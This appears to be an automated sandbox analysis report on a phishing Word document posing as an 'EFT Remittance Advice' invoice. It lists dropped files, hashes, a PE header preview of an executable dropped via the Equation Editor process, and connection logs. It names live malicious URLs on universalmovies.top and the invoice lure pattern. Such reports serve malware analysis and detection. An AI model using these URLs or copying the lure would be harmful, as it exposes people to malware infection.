Preview:	......M.eFy...z..T.B..@..1..m.S,...X.F...Fa.q..............................#&...G....j.............04..K....p........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:06 2023, mtime=Fri Aug 11 15:42:06 2023, atime=Mon Jun 24 15:22:51 2024, length=16429, window=hide
Category:	dropped
Size (bytes):	1299
Entropy (8bit):	4.600687427878988
Encrypted:	false
SSDEEP:	24:8TV/XT8z1bkwfOqG/sXFBGywRNeDnHMzSfQXFBGywPDv3qekwk7N:8TV/XTQ1bRtXrkwcwQXrfekwiN
MD5:	D3E2EBFEC7A252D93F2745683E6BDDDA
SHA1:	AC32E2FAE02F15E8964618AB7EE74A679EAA789C
SHA-256:	A86E34C2B81E24FD439E6BD436B48E0F4502F8E5A7F23F14D6F425E59C1101C2
SHA-512:	FE9182081DD29C6EFF9B0051B5702AE0C8ECF576A0BAB38DE8964F34F18DCC654218FC339D4BB18E3FAE2127A72CB15270AAA7AD9A7ED51BC2CA77045601AD4B
Malicious:	false
Preview:	L..................F.... ....~..r....~..r.....R...-@......................A....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X...user.8......QK.X.X....&=....U...............A.l.b.u.s.....z.1......WE...Desktop.d......QK.X.WE...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.-@...X. .INVOIC~1.DOC..........WD..WD..........................I.n.v.o.i.c.e. .L.G.M.S.C.H.0.0.4.0.9.2.4. .P.a.i.d. .-. .E.F.T. .R.e.m.i.t.t.a.n.c.e. .A.d.v.i.c.e. .a.n.d. .R.e.c.e.i.p.t...d.o.c.x...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\609290\Users.user\Desktop\Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc.^.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.I.n.v.o.i.c.e. .L.G.M.S.C.H.0.0.4.0.9.2.4. .P.a.i.d. .-. .E.F.T. .R.e.m.i.t.t.a.n.c.e. .A.d.v.i.c.e. .a.n.d. .R.e.c.e.i.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.06358459018522
Encrypted:	false
SSDEEP:	6:M0C9yHAuod2zJerfp6gIKKJHAuod2zJerfpc:M0Ctd2zSfpR3Zd2zSfpc
MD5:	9BC21D7C7B1E3CC79D2C054D7E16C6EF
SHA1:	A96017DCFD05246C66F7C90CC3B054DEACF95C71
SHA-256:	0D54C3697FECF8BBD46F05027CDCDB158B4291BF6F59586E60ED67767B9B5619
SHA-512:	4DA0EFCC63D7225E98EA94CE52E1AF17817A2AEAC8E9CF2A1B2E83A1186EA03DD742B0E6DE63087951AA980FECA7F468F71170E1315808C86DAB03060FB93956
Malicious:	false
Preview:	[doc]..notorious.doc.url=0..Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.LNK=0..[folders]..universalmovies.top.url=0..Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\notorious.doc.url

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://universalmovies.top/notorious.doc>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.5151019223847335
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2ftREJIKT+RK2jBdovn:HRYFVm4DgIKKs2bov
MD5:	50809E1406576FA2394FE42F56AA74EE
SHA1:	6A0718AB5D4FB7DD7707593FC041E55FCD6C3911
SHA-256:	4FB40098359D19B5CD9E39390AD7C2C88210BD035BC5E2ABB325BA198D174A89
SHA-512:	26694D2387B87B3068E96C99FBE9E6CB7CDD2BBE007BA411F9F48EC966C9A6F6B5CB98009C7360EBA29A0CF38229D0AE785A63AE88E654DA737A6EE143D7CF6C
Malicious:	true
Preview:	[InternetShortcut]..URL=https://universalmovies.top/notorious.doc..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\universalmovies.top.url

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://universalmovies.top/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.543296354659384
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2ftREJIKT+yv:HRYFVm4DgIKKyv
MD5:	3C956186B2FF37FBFA333BDF67DDB8BD
SHA1:	728D4652328FCEE86DD0DDE155AAA55368CE02DA
SHA-256:	7B8479B5BE126F67DBD13A73A9210F43E60155F0AD59296F8E7870F69989214B
SHA-512:	386117368A28FEB1D83B8121057D59BE20D129AC9D2583EF3F22C1D56455CA186EA95333B4A3B0727A7E35855D8C75DD8FFE779B891213DFE55BEEAAFF65A800
Malicious:	true
Preview:	[InternetShortcut]..URL=https://universalmovies.top/..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\notorious53209.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	644096
Entropy (8bit):	7.796206243772775
Encrypted:	false
SSDEEP:	12288:SYV6MorX7qzuC3QHO9FQVHPF51jgcN6S5UesUInNnpo2R2:hBXu9HGaVHN6S5U5Rn/Y
MD5:	901A623DBCCAA22525373CD36195EE14
SHA1:	9ADB6DDDB68CD7E116DA9392E7EE63A8FA394495
SHA-256:	B5E250A95073B5DFE33F66C13CC89DA0FC8D3AF226E5EFB06BB8FCFD9A4CD6EC
SHA-512:	EABEBA0EB9AE7E39577A7E313E50807CEE1B888F1C8FF0FA375E5DE9451A66471C791C23EA4F4AF85151F96B065D55E8C1320026D8503A048A3E5968F8EFFC1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s..R...R...R....C..P....;.S..._@#.a..._@......_@..g...[j..[...[jo.w...R...r...........#.S..._@'.S...R.k.S....".S...RichR...................PE..L...."yf.........."......p...p....................@..........................p............@...@.......@.....................Dg..$.......Dg..................hk......................................t...H...........................................UPX0....................................UPX1.....p.......d..................@....rsrc....p.......l...h..............@..............................................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

C:\Users\user\Desktop\~$voice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.926773617204646
TrID:	Word Microsoft Office Open XML Format document (49504/1) 58.23% Word Microsoft Office Open XML Format document (27504/1) 32.35% ZIP compressed archive (8000/1) 9.41%
File name:	Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc
File size:	16'429 bytes
MD5:	9edc82805ecc2d30f07d99973883c3c6
SHA1:	877fae637a454593a1b66bfede20356803833266
SHA256:	927e8668d7e5b22d0d278cb66ecbb15a51420f2fc5299aaa324d43a7d04719a2
SHA512:	b24ed91e3f53fe2cfc0b0fdaebcd495cbc878507187a802ed019736be707d5d832f149360dba0cfd394df5e0406bd979fda5aff4357fe4e2bede514098fc8cf3
SSDEEP:	384:tyXxo8qWds8PL8wi4OEwH8TIbE91r2fR3JYovij7XCnp:tcxIq5P3DOqnYJZ1vO7XCp
TLSH:	D072B0DDC48402AED30748F870022066FBFC9A67F9B29D1FB610B67844765CEDB40A9C
File Content Preview:	PK.........H.X...7U... .......[Content_Types].xmlUT....6yf.6yf.6yf...n.0.E...............e.T.....U..<...;!.U.%U.M.d..sgby0ZW.[BB.\|!.yOd.u0....>y....Iy.\.P.........M..X...s.x/%.9T....s...R..i&...j......:x.O].=.p...Z8.....I........U....Z...........r..s....B

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 24, 2024 18:22:55.111697912 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:55.111808062 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:55.111886978 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:55.118004084 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:55.118041992 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:55.637742996 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:55.637821913 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:55.642206907 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:55.642247915 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:55.642643929 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:55.642704964 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:55.718149900 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:55.760508060 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:56.055571079 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:56.055618048 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:56.055645943 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:56.055663109 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:56.055686951 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:56.055700064 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:56.060941935 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:56.060967922 CEST	443	49166	104.21.74.191	192.168.2.22
Jun 24, 2024 18:22:56.060980082 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:56.061012030 CEST	49166	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:22:59.399122000 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:22:59.399215937 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:22:59.399290085 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:22:59.399821997 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:22:59.399854898 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:22:59.913821936 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:22:59.914120913 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:22:59.918049097 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:22:59.918082952 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:22:59.918534994 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:22:59.920576096 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:22:59.964533091 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:00.050872087 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:00.050956011 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:00.051176071 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:00.051619053 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:00.051659107 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:00.051707983 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:00.051723957 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:00.051768064 CEST	49167	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:00.051779985 CEST	443	49167	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:05.961464882 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:05.961493969 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:05.961546898 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:05.962272882 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:05.962285995 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.574227095 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.574526072 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:06.627155066 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:06.627182007 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.627587080 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.649475098 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:06.696513891 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.975954056 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.976032019 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.976126909 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:06.979165077 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:06.979165077 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:06.979165077 CEST	49168	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:06.979195118 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.979204893 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:06.979207993 CEST	443	49168	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:07.292856932 CEST	49169	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:07.292951107 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:07.293032885 CEST	49169	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:07.293395996 CEST	49169	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:07.293433905 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:07.771518946 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:07.771621943 CEST	49169	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:07.777884007 CEST	49169	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:07.777937889 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:07.778286934 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:07.779723883 CEST	49169	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:07.824510098 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:08.144215107 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:08.144328117 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:08.144412041 CEST	49169	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:08.145109892 CEST	49169	443	192.168.2.22	172.67.162.95
Jun 24, 2024 18:23:08.145133972 CEST	443	49169	172.67.162.95	192.168.2.22
Jun 24, 2024 18:23:08.827466965 CEST	49170	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:08.827508926 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:08.830581903 CEST	49170	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:08.830581903 CEST	49170	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:08.830610991 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.290662050 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.290745020 CEST	49170	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:09.296472073 CEST	49170	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:09.296494961 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.296854973 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.298605919 CEST	49170	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:09.340506077 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.664311886 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.664413929 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.664494038 CEST	49170	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:09.664597034 CEST	49170	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:09.664645910 CEST	443	49170	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.713625908 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:09.713752985 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:09.713841915 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:09.714088917 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:09.714122057 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.193814039 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.195275068 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.196835041 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.196867943 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.198437929 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.198451996 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.333609104 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.333677053 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.333709002 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.333741903 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.333774090 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.333803892 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.333834887 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.333911896 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.333911896 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.333911896 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.333960056 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.334007025 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.334028006 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.334068060 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.334110975 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.334127903 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.334177971 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.334191084 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.334238052 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.338468075 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.339282036 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.364950895 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.423949957 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424046040 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424087048 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424123049 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424153090 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424160957 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424197912 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424218893 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424218893 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424245119 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424252033 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424288034 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424293995 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424335003 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424500942 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424541950 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424612045 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424649954 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424664021 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424699068 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424707890 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424742937 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.424762964 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.424804926 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.425385952 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.425424099 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.425438881 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.425568104 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.425602913 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.425605059 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.425616026 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.425637960 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.425648928 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.426222086 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.426300049 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.426337004 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.426343918 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.426383018 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.426402092 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.426438093 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.426445961 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.426481009 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.426489115 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.426526070 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.427212000 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.427253962 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.427294970 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.427331924 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.427396059 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.428792953 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.431276083 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.514997005 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.515113115 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.515151024 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.515156031 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.515182972 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.515206099 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.515228033 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.515245914 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.515265942 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.515273094 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.515289068 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.515315056 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.515605927 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.515990019 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.516047955 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.516144037 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.516190052 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.516227961 CEST	443	49171	104.21.74.191	192.168.2.22
Jun 24, 2024 18:23:10.516277075 CEST	49171	443	192.168.2.22	104.21.74.191
Jun 24, 2024 18:23:10.517015934 CEST	443	49171	104.21.74.191	192.168.2.22
